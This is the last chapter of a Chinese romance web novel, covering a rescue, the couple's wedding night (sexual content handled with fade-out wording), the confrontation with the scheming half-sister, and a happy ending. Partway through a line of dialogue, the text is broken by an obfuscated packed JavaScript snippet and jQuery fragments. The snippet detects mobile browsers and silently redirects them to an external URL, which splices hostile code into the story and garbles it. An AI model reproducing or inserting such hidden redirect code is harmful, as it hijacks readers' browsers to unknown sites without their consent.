81. 圆房

作品:《疯犬权臣失忆后(重生)

    李贵妃的闺名李玉兰,她曾经怀着对皇宫的憧憬进宫的,尽管是政治联姻,但是见了还是正当壮年的凤朝皇帝,她也是心生爱慕的。


    但是他只爱他的发妻,两人琴瑟和鸣,旁的人都插不进去。


    还好两年之后她生了自己的皇子,宫中的生活终于有了期待,不再是一潭死水。她每日无非是养养花,逗逗儿子。


    然而上天好似一直在跟她作对,她惊恐的发现她的儿子天生就是疯子,露出一副天真的面孔,杀了人也笑嘻嘻地来跟她邀功。


    她很害怕,害怕让别人知道她生了一个妖魔一般的孩子,所以她一直拘着他,小心翼翼地帮他隐藏他所犯下的恶性。


    她看着已经长大成人的江渚,或者说是凤慕袂,淡淡道:“你来了?”


    江渚厌恶地看着她:“是你们杀了我母后。”不是疑问,是肯定,他已经得到了肯定的答案。只是和他所想的有所不同,他以为母后死于朝廷斗争,或是后宫纷争,原来母后只是死于一个恶童的玩闹。


    李玉兰叹了一口气,又念了一句经书:“是我的过错,一切因是我造的,如今也活该我承受这果。”


    江渚将指着她的剑放了下来:“今日我不杀你,你且活着受着吧。叶云珠被关在何处?”


    “在逸欢宫地下室,但是你们到底是血亲,我求你饶了他一条命。”李玉兰忍不住道,虽是可能性不大,但是到底是她的亲身孩子,她想最后一次为他求求情。


    “他配吗?”说着转身就急速而去。


    ……


    叶云珠定定神,她没有幻听,江渚真的有一次来救她了。


    她看见江渚一脚将凤逸尘踢翻在地,凤逸尘被踢得满口都是血,晕了过去。


    此刻她躲在江渚的怀里,熟悉的冰冷坚硬的胸膛,让她感动得想哭。


    她想说:“江,江渚,静怡……”可是脖子上的血痕让她疼痛地有些说不出话来。


    跟进来的东楚也看见了地上闭着眼睛早已冰凉的静怡,眼中顿时通红。


    叶云珠看见他这个样子,一时间又哭了起来,忍着痛道:“静怡,说,她不喜欢你,希望你今后能另觅良人。”


    东楚一下子就崩溃了,他不再在意男女世俗礼仪,将静怡紧紧地抱在怀里,从来都是谈笑风生的东楚此刻眼泪像断了线的珠子:“静怡,我还没告知你我的心意,有了你,我还能找谁,不管你怎么样,你都是我的妻子。”


    一时之间,众人都笼罩在悲伤之中。


    江渚担心叶云珠刚受了伤,又哭得上气不接下气,将晕死在地上的凤逸尘押走,自己则抱着叶云珠回了府邸。


    两人都心情不佳,上过药之后,叶云珠一直拉着江渚的手不松开,静怡到死也没有向东楚表明心意,让她尤其悲伤。生命无常,当即时对自己珍视之人表露情谊,莫到了死后才后悔没能同喜爱的人共度片刻的欢愉。


    她静静地看着江渚:“江渚,我爱你。”她抱着他接着道:“我再也不要与你分开了,无论是任何事情,即使是生死也不能将我们分开,从今往后,你生我生,你死我死。”


    江渚也回望着这个坚定的小女娘,她还是那么直接,不管是爱恨,都勇敢的说出来,从来都不遮遮掩掩。


    他摸了摸她的脸颊,也坚定地点点头:“我还有一个名叫凤慕袂,我立下誓言,从今往日,我们再也不分开。”


    叶云珠放下心来:“我知道了。无论你是谁,昨日虽然我们的婚礼被搅乱了,但是从今日起我就是你的妻子了。”说着就主动吻了上去。


    江渚今日刚查清母后的死因,脑子里一片混乱,此时叶云珠温软的唇压过来,让他暂时忘了这些年的苦痛。


    他狂乱地回应着叶云珠,两人如干柴烈火般缠绕在一起。


    叶云珠在婚前已经接受了教育,云氏给她了一本小册子,让她学习了怎么生娃娃,她终于知道不是两人躺在一张床上就会生小娃娃。


    她有些羞涩地去解江渚的外衫,却怎么也解不开腰封。


    江渚饶有兴致地看着她,这个小女娘什么时候变得如此胆大,总是耐不过她的磨蹭,自己一手扯掉了自己的腰封。


    两人初试云雨,满室生香


    ……


    睡到日上三竿的叶云珠有些后悔,她一把推开还抱着她的江渚,揉了揉自己的腰肢,酸软的厉害。


    江渚见叶云珠醒了,又见她一直捂着自己的腰,想是他昨日太过勉强她了。


    他一双大手按过来,轻轻地按摩着细腰:“珠珠,对不住,昨日是我不好。”


    叶云珠闭着眼睛哼了一声,一开口声音都是沙哑的:“你,明知道我受伤了,还……”


    江渚小心地将她重新抱回怀里,脸上的新长的胡茬轻轻地摩挲着叶云珠的白嫩的脸上:“我也是初次,未免急躁了些,下次不会了。”


    她又躲了躲他的胡子,又冷哼一声,突然觉得身后又出现异样,一时身子都僵硬了,赶紧推攘着身后的人:“你根本就没有反省,你走开点。”


    江渚一双手桎梏得犹如铁索一般,紧紧地将叶云珠锁在怀里:“不放,打死我也不放手,就这样让我待一会,我保证,我什么也不做。”


    叶云珠放弃了挣扎,静静地待在温暖的被窝里,两人享受着来之不易地宁静。


    不到一会,叶云珠就感到那按摩腰肢的手开始乱走,她轻声道:“我饿了。”


    江渚立马停止了动作,不情不愿地去了厨房。


    叶云珠终于松了一口气,看着身上松松垮垮的小衣,她忍着不适赶紧起床穿起了衣裳,来到房间外。


    这是江渚的新府邸,到处焕然一新,走过长廊,外面的院子里红梅开得正艳,花朵上覆盖着一些积雪。


    又是一年快结束了。


    正感伤之际,江渚将一件黑色的大氅将她裹住:“小心着凉。”


    叶云珠轻轻回眸一笑:“你这宅子怎生没看见人?”


    “我喜静,平日里这里不来人。你也饿了,去吃些东西吧。”江渚拉着她的小手道。


    两人席间话语不多,叶云珠饿极了,吃得有些快。


    江渚等她吃完了,又自动续上一小碗,只是笑眯眯地看着她。


    屋子里被贴心地烧了碳火,火光照的室内通红,暖和极了!


    叶云珠吃了三小碗,终于放下了筷子,看着江渚道:“你有话与我说?”


    江渚敛下笑容,给她擦了擦嘴巴,然后道:“这件事是叶清灵策划的,她让李玉莲先做了引子,然后再通知凤逸尘的人绑走你们。”


    他看了看叶云珠的表情无异然后才继续道:“对于,叶清灵,你打算怎么处理?”


    叶云珠昨夜暂且逃避了一夜,今日不得不面对这残局,她眼中有些哀伤:“静怡的死都怪我,明知灵儿有些异常,一直以来都视而不见,以为以平常之心待她,她定能变回原本单纯善良的她,然后一家人开心快乐地重新开始。可是原来她……”


    她叹了一口气望过来,眼中带着一些决绝:“带我去见见她。”


    江渚带着她来到诏狱,叶清灵经过几日的折磨,已经面色惨白。


    叶云珠有些心疼,毕竟是一只疼爱的亲妹妹,她含着眼泪摸了摸她雪白的小脸。


    叶清灵在迷糊中悠悠转醒,身上的伤痕让她皱了皱眉头,她也没准备再去伪装,冷笑道:“没想到你的命仍旧这么好,进了逸欢殿的地下室,还能活着出来,我以为我们两姐妹终是能在地狱再见了。”


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14922850|155423||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    灵儿,我哪里对不住你,你竟这般恨我?”叶云珠身为姐姐,这也是她一直不愿问的问题,好似直接问出了这句话,两人就再也回不去当年了。


    对着她冷眼相对的叶清灵突然就笑了起来,笑得还是那么空灵,像是不食人间烟火的仙女突然遇上了什么滑稽的事情:“叶云珠,你还是那么蠢。你的存在就给了我和娘最大的痛苦,你和你那死去的娘像一具石像一样,压得我们俩不得一丝喘息的机会。无论我和娘多努力,我多优秀,只要是你在,父亲都不会望我一眼,在他眼中我永远都是姨娘生的庶女。”


    “啪!”叶云珠气急地一巴掌拍过去。


    叶云珠缓过气来:“这一巴掌是我替爹爹打的。打你不敬父母。”


    接着她又连续打了几巴掌:“这一巴掌打你不顾姐妹之情”“打你害了静怡的性命,视人命为草芥”


    几巴掌打下来,叶清灵的不可置信地看过去,从小到大,姐姐别说是打她了,连重话都不曾同她说过:“你打我?”


    叶云珠不再表现得柔弱,像一个教训孩子的娘亲般坚决:“是,都说长姐如母,是我没将你管教好,才会让你如此不知满足,才会酿下此等错事。”


    “庶女又怎么了?你是被身份束缚得太久了,你自我贬低自己,仗着庶女的身份就可以为非作歹了?你连自己都看不起自己,还指望谁能瞧得上你?”


    叶云珠喘了一口气,接着道:“之后我会向父亲建议,你自愿去乡下的庄子思过,等你什么时候想好了,什么时候再回家。”叶云珠也不允叶清灵反驳,就离开了诏狱。


    江渚知道其实叶云珠是不忍心的,对于家人,她总是太过于仁慈,他就没有如此好说话了。


    凤逸尘这些年来杀人无数,甚至连他母后都是偶然发现了他的恶行,被他所杀。他绝不会饶恕。


    接下来,两人都有事要忙,叶云珠回徐府报平安,然后帮着操办了静怡的葬礼,东楚果然同他当日说的那样,将静怡当做自己的娘子,然后风光大葬,并且将静怡的父母和弟妹都接到了自己的府中,好生赡养。


    江渚则处置了凤逸尘,将其永远的困在废弃的园子中,他忍受不了恶劣的环境和不能杀人的痛苦,在一个寒冷的冬夜自尽了。李玉兰痛失爱子,终是心静不下,一条白绫也随之而去。


    皇帝知晓了江渚就是太子凤慕袂,苦苦劝他回来继承皇位,但是江渚婉拒了,说是自家娘子不喜宫中拘束,想和她一起去游山玩水。


    凤朝皇帝再次见到江渚口中的娘子,竟然是当日春日宴的小女娘,也是十分喜爱,拉着她的手,让她之后一定带孙子孙女回来看望看望他这个孤家寡人。


    叶云珠连忙点头称是,回过头来却对江渚道:“你父皇意思是要让我生龙凤胎?”


    江渚邪魅一笑,若有其事地点点头:“那我可得加把油了!”


    于是两人整日待在房屋里研究生龙凤胎,出游的计划一拖再拖……


    又是一年春去冬来


    叶云珠抱着暖炉休闲地躺在软椅上,看着院中的柿子树,他们又回到了当初的小渔村,每日打打渔、种种菜,日子过得好不悠闲。


    “江渚,今日我想吃烤鱼。”


    江渚挽起袖子,开始升火杀鱼,动作越来越行云流水。看见叶云珠要起身,赶紧过来准备扶她:“你这身子重,小心着点。”


    叶云珠又侧过身子继续躺着:“你别过来,你这鱼腥味太重,我闻着难受。”


    江渚笑着后退了几步:“那你还想吃鱼?”


    叶云珠又朝自己口中塞了几口柿子饼:“不是我想吃,是宝宝们想吃。”


    “好,我给你们做一辈子!”


    两人隔着院子相视一笑……


    全文完